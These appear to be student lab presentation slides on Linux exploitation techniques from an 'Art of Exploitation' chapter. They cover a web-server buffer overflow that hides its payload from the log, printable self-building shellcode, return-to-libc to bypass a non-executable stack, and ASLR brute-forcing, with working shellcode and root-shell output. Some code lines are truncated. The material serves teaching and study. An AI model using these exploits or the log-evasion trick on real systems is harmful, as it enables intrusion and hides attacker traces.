# AoE Chapter 0x06 Assessment

Jeramy Motes
29 August 22

# Outline

1. Truncating Log Files
2. Polymorphic Shell Code
3. Bypassing Non Executable Stack (NX/DEP)
4. ASLR

# Outline

1. Truncating Log Files
2. Polymorphic ShellCode
3. Bypassing Non Executable Stack (NX/DEP)
4. Address Space Layout Randomization (ALSR)

# Truncating Log Files (1/3)

- AoE Goal was to exploit a webserver program called tinywebd
  - Establish command shell
  - Avoid leaving obvious clues behind in the log file
- Used shell code to overwrite return address in handle_connection function
- New address pointed to NOP sled in variable “request”, which stored the shell code.

## Shell Code

```
FAKEREQUEST="GET / HTTP/1.1\x00"
FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') #finds the siz
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from the buffer @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # Add 15 bytes from buffer @ 0xbffff5c0, *****OG CODE**
#FAKEADDR="\xd0\xf5\xff\xbf" # Add 16 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '` #gets the size of shellcode, strips the shellcode
echo "shellcode: $1 ($SIZE bytes)"    #prints size of shellcode and shellcode file,
echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"    #prints characters of fak
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) #16))   # 540 + 4

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SI
(perl -e "print \"$FAKEREQUEST\"";     #prints "Get / HTTP/1.1\x00
 ./addr_struct "$SPOOFIP" "$SPOOFPORT";  # at addr_struct address, prints 12.34.56.
 perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; # then, prints character 90 from
 cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
```

## Exploitable Function Call

```
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd){
   unsigned char *ptr, request[500], resource[500], log_buffer[500];
   int fd, length;

   length = recv_line(sockfd, request);
   sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
```

# Truncating Log Files (2/3)

- Avoiding oblivious log file entries by truncating the write function
- [Recv_line] function returns length of shell code when it hits EOL sequence == “\r\n”
  - The function is not impacted by inserting two null bytes
- However, the function [strlen] stops counting length of string when it encounters a null byte
  - Null byte was inserted after FAKEREQUEST string

**Recv_line Function in network-hacking .h file**

```
int recv_line(int sockfd, unsigned char *dest_buffer){
#define EOL "\r\n" // End-of-line byte sequence
#define EOL_SIZE 2
        unsigned char *ptr;
        int eol_matched = 0;

        ptr = dest_buffer;
        while(recv(sockfd, ptr, 1, 0) == 1) { // Read
           if(*ptr == EOL[eol_matched]){          //Does
                eol_matched++;
                if(eol_matched == EOL_SIZE){  // If a
                   *(ptr+1-EOL_SIZE) = '\0';   // terr
                   return strlen(dest_buffer);  // Ret
```

**Strlen Function Description**

```
       strlen - calculate the length of a string

SYNOPSIS
       #include <string.h>

       size_t strlen(const char *s);

DESCRIPTION
       The strlen() function calculates the length of the string s, not including the terminating '\0' character.
```

# Truncating Log Files (3/3)

- The number of bytes that are written are dictated by the length value
- This results in the FAKEREQUEST string being written to the log…AND that is it
  - The shell code is not written to the log

**Write function called in handle_connection function**

```
timestamp(logfd);
length = strlen(log_buffer);
write(logfd, log_buffer, length); // Write to the log.
```

**Log output (before/after) truncating write to log file**


**Strlen Function Description**

```
NAME
       write - write to a file descriptor

SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION
```

# Polymorphic Shell Code (1/3)

- AoE Goal is to hide the shellcode by using only printable characters, by using shellcode that changes itself = polymorphic shell code!
- The effort is meant to counter security checks in the update_info.c program
- Use assembly code nuances to accomplish same functions necessary to establish command shell
  - Limited to EAX and ESP Registers…and the stack

**Some assembly instructions that are printable characters**

```
and eax, 0x454e4f4a  ; Assembles into %JONE
and eax, 0x3a313035  ; Assembles into %501:
```

So %JONE%501: in machine code will zero out the EAX register. Interesting. Some other instructions that assemble into printable ASCII characters are shown in the box below.

```
sub eax, 0x41414141    -AAAA
push eax               P
pop eax                X
push esp               T
pop esp                \
```

**Main function from update_info.c**

```
int main(int argc, char *argv[], char*envp[]){
   int i;
   char *id, *desc;

   if(argc < 2)
        barf("Usage: %s <id> <description>\n", argv[0]);
   id = argv[1];        // id - Product code to update in DB
   desc = argv[2];      // desc - Item description to update

   if(strlen(id) > MAX_ID_LEN)  // id must be less than MAX_ID_LEN bytes
        pinbarf("Fatal: id argument must be less than %u bytes\n", (void *)MA

   for(i=0; i < strlen(desc)-1; i++){ // Only allow printable bytes in desc.
        if(!(isprint(desopc[i])))  //isprint checks for printable characters,
           barf("Fatal: description argument can only contain printable bytes
   }

   // Clearing out the stack memory (security)
   // clearing all arguments except the first and second
   memset(argv[0], 0, strlen(argv[0]));
   for(i=3; argv[i] != 0; i++)
        memset(argv[i], 0, strlen(envp[i]));   // memset fills argvf[i] with

   printf("[DEBUG]: desc is at %p\n", desc);

   update_product_description(id, desc); // update database
```

# Polymorphic Shell Code (2/3)

1. To gain control of program, address of desc variable is written over the return address by overflowing product code variable
2. The ESP register address value must now be reset from the update_product_description location to an address space within the desc variable
   - We allocated roughly 300 bytes for assembly code instructions, with that added to the roughly 500 bytes difference between where the current ESP register was pointing to and the location of the beginning of the desc variable
3. The very first assembly instructions stored in the desc variable accomplishes this by storing the address in EAX, to allow for the addition by subtraction, and then the value is returned to ESP via a push instruction
4. The rest of the assembly instructions are followed to load the shellcode to establish command line
   - Everytime a value is pushed to the stack, the ESP variable increments further up the stack
   - The assembly instructions are bounded by only printable characters
   - Printable_helper.c receives beginning and end values for register EAX, and generates values that can be used to determine how to increment from start to finish
   - These values are then used to load the shell code instructions
5. A test run command is used to determine address of description using the [debug] printf
   - Value is used in overflow of product_code

## Exploited function call

```
// Pretend this function updates a product description in a database
void update_product_description(char *id, char *desc){
   char product_code[5], description[MAX_DESC_LEN];   //declares char strings

   printf("[DEBUG]: description is at %p\n", description);     //print descripti
   strncpy(description, desc, MAX_DESC_LEN);    // copy desc into desc into desc
   strcpy(product_code, id);     // copy source (id) into destination

   printf("Updating product #%s with description \'%s\'\n", product_code, desc);
   //update database
}
```

## Assembly Instruction for Step 3

```
BITS 32
push esp                ; put current ESP
pop eax                 ;   into EAX.
sub eax, 0x39393333     ; subtract printable values
sub eax, 0x72727550     ; to add 860 to EAX
sub eax, 0x54545421
push eax                ; Put EAX back into ESP.   resets
pop esp                 ;    Effectively ESP = ESP + 860
```

## Test run to determine address of desc variable

```
student@student-laptop:~/c_progs $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable)
[DEBUG]: desc is at 0xbffff93a
[DEBUG]: description is at 0xbffff510
[1]+  Done                    gedit update_info.c
```

# Polymorphic Shell Code (3/3)

1. The shellcode instructions are to be loaded on the stack using printable characters
2. The instructions are written in reverse order (FILO), one byte at a time
   - The EAX register is cleared
   - First instructions are to subtract from zero to get to 0x89e1cd80
3. The very first assembly instructions stored in the desc variable accomplishes this by storing the address in EAX, to allow for the addition by subtraction, and then the value is returned to ESP via a push instruction
4. The end of the assembly instruction is a NOP sled that slides the execution straight into the shell code that has been pushed to the stack

## Assembly instructions from Step 4

```
push eax,               ; last address is 0x31c03190
sub eax, 0x346d346d
sub eax, 0x346d3434
sub eax, 0x3855385f
push eax,               ; EAX = 0x90909090
push eax,               ;
push eax,
push eax,
push eax,               ; build a NOP sled
push eax,
push eax
```

## Shellcode instructions to be loaded on stack

```
student@student-laptop:~/c_progs $ hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023
```

## Assembly Instruction for Step 2

```
sub eax, 0x3442302d     ; Subtrack printable values, which are random generated
sub eax, 0x25777725     ; to make EAX = 0x80cde189.
sub eax, 0x25787725     ;  (last 4 bytes from shellcode.bin
push eax,               ; push thes bytes to stack at esp.
sub eax, 0x6b6b6b6b     ; subtract more printable values from 0x80cde189
sub eax, 0x6b46726b     ; to makes EAX = 0x53e28951
sub eax, 0x56397a62     ; (next 4 bytes of shellcode from the end)
push eax                ;
sub eax, 0x25793030     ;
sub eax, 0x25797943     ;
sub eax, 0x25667175     ; Gets to the value EAX = 0xe3896e69
push eax                ;
```

# By-Passing Non - Executable Stack (1/2)

- Non executable stacks, but why…
  a. Blocks shell code execution
  b. Let's put it somewhere else : )
- AoE goal is to use basic functions that are contained in the libc library to execute shell code
- The system() function takes an argument and executes it as a command (bin/sh, pause, ./a.out)
- Steps to exploit
  a. Write a program that has a simple buffer overflow flaw
  b. Get system() function address and replace the return address
     - Address will stay the same until libc library is recompiled
     - Address is **0xb7ecfd80**
  c. Pass the pointer to bin/sh command to the system function variable

**Simple buffer overflow program, step A**

```
#include <stdio.h>

int main( int argc, char *argv[]){
   char buffer[5];
   strcpy(buffer, argv[1]); //replace return address with system
                            // function address from overflow
   return 0;
}
```

**Determine address of system function in libc, step B**

```
student@student-laptop:~/c_progs $ gdb -q ./dummy
Using host libthread_db library "/lib/tls/i686/cmov/libthre
(gdb) break main
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/student/c_progs/dummy

Breakpoint 1, 0x0804837a in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecfd80 <system>
(gdb) quit
```

# By-Passing Non - Executable Stack (2/2)

- Steps to exploit Continued…
  a. Write a program that has a simple buffer overflow flaw
  b. Get system() function address and replace the return address
     - Address will stay the same until libc library is recompiled
     - Address is **0xb7ecfd80**
  c. Pass the pointer to bin/sh command to the system function variable
     - Address is 0xbffffe79 to env variable BINSH
- Significant Notes:
  a. FAKE is 4 bytes long, is the defacto return address for system call
  b. Address to bin/sh is the first variable passed into system function
  c. Other addresses can be used to hop around in libc by plugging in for FAKE

**Create ENV variable, store /bin/sh command, step C**

```
student@student-laptop:~/c_progs $ export BINSH="      /bin/sh"
student@student-laptop:~/c_progs $ ./getenvaddr BINSH ./vuln
BINSH will be at 0xbffffe79
```

**Determine address of system function in libc, step C**

```
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x5')
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x6')
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x7')
Illegal instruction
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x8')
Segmentation fault
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x7' . "\xb7\xec\xfd\x80FAKE\x79\xfe\xff\xbf"')
> whoami
>
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x7 . "\xb7\xec\xfd\x80FAKE\x79\xfe\xff\xbf"')
Segmentation fault
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\xfd\xec\xb7FAKE\x79\xfe\xff\xbf"')
sh-3.2# whoami
root
sh-3.2#
sh-3.2#
sh-3.2# quit
sh: quit: command not found
sh-3.2# exit
exit
Segmentation fault
student@student-laptop:~/c_progs $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\xfd\xec\xb7" . "FAKE" . "\x79\xfe\xff\xbf"')
sh-3.2#
```

# Address Space Layout Randomization (ALSR) (1/4)

- ALSR is a countermeasure that randomizes memory layout
  - Memory in the stack and the Environment changes with every execution
- How can this be countered
  - Use Debugger to explore possible memory patterns in simple prog
- Explored using Bash variable [$?] which receives exit status
  - Allows us to a loop efficiently through test cases to determine when buffer size overflows into return address, in this case at 19 bytes
  - $? = 139 = segmentation fault
  - $J = 1 = program executed and returned
- Used debugger to compare registers and buffer address
  - Determined linkage between ESP register and Buffer variable
  - At the end of main, ESP location is exactly 20 words higher than Buffer, one byte after the return address
- This can work if we can point EIP to the ESP register address

**Simple ASLR_Demo program**

```
#include <stdio.h>

//simple prog to overwrite return address through strcpy function call
int main(int argc, char *argv[]){
   char buffer[50];

   printf("buffer is at %p\n", &buffer);

   if(argc > 1)
        strcpy(buffer, argv[1]);

   return(1);
}
```

**Determined linkage between ESP and buffer variable**

```
(gdb) x/24x 0xbf801fa0
0xbf801fa0:     0x00000000      0x080495cc      0xbf801fb8      0x08048291
0xbf801fb0:     0xb7f71729      0xb7fa8ff4      0xbf801fe8      0x08048429
0xbf801fc0:     0xb7fa8ff4      0xbf80207c      0xbf801fe8      0xb7fa8ff4
0xbf801fd0:     0xb7fc77b0      0x08048410      0x00000000      0xb7fa8ff4
0xbf801fe0:     0xb7fd3ce0      0x08048410      0xbf802048      0xb7e81ebc
0xbf801ff0:     0x00000001      0xbf802074      0xbf80207c      0xb7fd4898
(gdb) p 0xb801ff0 - 0xbf801fec
$1 = 1275068420
(gdb) p 0xb801ff0 - 0xbf801fa0
$2 = 1275068496
(gdb) p 0xbf801ff0 - 0xbf801fa0
$3 = 80
(gdb) p/80/4
Item count other than 1 is meaningless in "print" command.
(gdb) p 80/4
$4 = 20
(gdb) p 0xbf801fec - 0xbf801fa0
$5 = 76
```

**Command line loop using exit status to test overflow**

```
student@student-laptop:~/c_progs $ for i in $(seq 1 50); do echo "Trying offset of $i words"; ./aslr_demo $(perl -e "print 'AAAA'x$i");
if [ $? != 1 ]; then echo "==>  Correct offset to return address is $i words"; break; fi; done
Trying offset of 1 words
buffer is at 0xbfbd7b90
Trying offset of 2 words
buffer is at 0xbfe68620
Trying offset of 3 words
```

# Address Space Layout Randomization (ASLR) (2/4)

- Exploring LInux Gate as an execution redirect
  - linux-gate .so.1 is a virtual shared object
  - Despite ASLR, it is always located at the same address
- Wrote a program to search for [jmp esp] assembly instruction
  - Wasn't found due to kernel update
  - If found, could use the assembly instruction to point EIP to the ESP register in the alsr_demo program
- Next, explore using execl function
  - Function replaces current process with new process image
  - Compare variable locations
  - Use this information to create exploit

**Address location of linux gate doesn't change**

```
student@student-laptop:~/c_progs $ ldd ./aslr_demo
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e99000)
        /lib/ld-linux.so.2 (0x80000000)
student@student-laptop:~/c_progs $ ldd /bin/sh
        linux-gate.so.1 =>  (0xffffe000)
        libncurses.so.5 => /lib/libncurses.so.5 (0xb7f2d000)
        libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7f29000
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7de7000)
        /lib/ld-linux.so.2 (0xb7f7d000)
student@student-laptop:~/c_progs $ ldd /bin/cat
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dc0000)
        /lib/ld-linux.so.2 (0xb7f0e000)
```

**Program to find [jmp esp] stored in approx linux gate memory space**

```
int main(){
   unsigned long linuxgate_start = 0xffffe000;
   char *ptr = (char *) linuxgate_start;

   int i;

   for(i=0; i < 4096; i++){
      if(ptr[i] == '\xff' && ptr[i+1] == '\xe4'){


         printf("found jmp esp at %p\n", ptr+i);
         exit(1);
         }
   }
   printf("'\xff' && '\xe4' bytes were not found in linuxgate_start");
}
```

**Results of find_jmpesp program**

```
student@student-laptop:~/c_progs $ uname -a
Linux student-laptop 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
student@student-laptop:~/c_progs $ ./find_jmpesp
'' && '' bytes were not found in linuxgate_startstudent@student-laptop:~/c_progs $
```

# Address Space Layout Randomization (ASLR) (3/4)

- Comparing variables
  - Distance is semi predictable
  - Attempt to brute force an overflow, use a NOP sled to cover the margin
- The buffer overflow in aslr_demo program is 20 words/80 bytes from return address
- Need program that generates a buffer with following properties
  - Return address that points to a big nop sled
  - Big nop sled
  - Shell code
  - Call the program using execl function and pass the overflow buffer

**Program that explores var locations**

```c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
   int stack_var;

   // Print an address from the current stack frame.
   printf("stack_var is at %p\n", &stack_var);

   // Start aslr_demo to see how its stack is arranged.
   execl("./aslr_demo", "aslr_demo", NULL);
}
```

**Very manual process to calculate distance of variable addresses**

```
student@student-laptop:~/c_progs $ ./aslr_execl
stack_var is at 0xbfe14e64
buffer is at 0xbfe14e20
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbfe14e64 - 0xbfe14e20"
$1 = 68
student@student-laptop:~/c_progs $ ./aslr_execl
stack_var is at 0xbfad7324
buffer is at 0xbfad72f0
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbfad7324 - 0xbfad72f0"
$1 = 52
student@student-laptop:~/c_progs $ ./aslr_execl
stack_var is at 0xbf8ce124
buffer is at 0xbf8ce0e0
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbf8ce124 - 0xbf8ce0e0"
$1 = 68
student@student-laptop:~/c_progs $ ./aslr_execl
stack_var is at 0xbfab1b04
buffer is at 0xbfab1ac0
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbfab1b04 - 0xbfab1ac0"
$1 = 68
```

# Address Space Layout Randomization (ASLR) (4/4)

- Return Address Calculation
  - Relative offset on average is tested (988 bytes) between variables i and buffer
  - Offset jumps over return address train right into the nop sled
  - Encounters the shell code
- Can be used to exploit other buffer overflow targets

**Output of ASLR exploit**

```
student@student-laptop:~/c_progs $ ./aslr_exe_exploit
i is at 0xbfbd940c
ret addr is 0xb7b90f84
buffer is at 0xbfbd9030
Segmentation fault
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbfbd940c - 0xbfbd9030"
$1 = 988
student@student-laptop:~/c_progs $ ./aslr_exe_exploit
i is at 0xbfb6a39c
ret addr is 0xb7b21f14
buffer is at 0xbfb69fc0
Segmentation fault
student@student-laptop:~/c_progs $ gdb -q --batch -ex "p 0xbfb6a39c - 0xbfb69fc0"
$1 = 988
student@student-laptop:~/c_progs $ ./aslr_exe_exploit 988
i is at 0xbfa87aac
ret addr is 0xbfa87798
buffer is at 0xbfa876e0
sh-3.2# whoami
root
```

**Overflow buffer program**

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard Shell Code

int main(int argc, char *argv[]){
   unsigned int i, ret, offset;
   char buffer[1000];

   printf("i is at %p\n", &i);  //debug display var I adddress

   if(argc > 1) // Set offeset.
      offset = atoi(argv[1]);   //recieves cmd line argument
                                // if it is there

   ret = (unsigned int) &i - offset + 200; // Set return address
            //target middle of sled, based off of var i
   printf("ret addr is %p\n", ret); // debug ret addr

   for(i=0; i < 90; i+=4) // Fill buffer with return address.
      *((unsigned int *)(buffer+i)) = ret;
    memset(buffer+84, 0x90, 900); // build nop sled.
                                  // try 90 as well
    memcpy(buffer+900, shellcode, sizeof(shellcode));

   execl("./aslr_demo", "aslr_demo", buffer, NULL);
        //pass the overflow buffer to aslr_demo program
```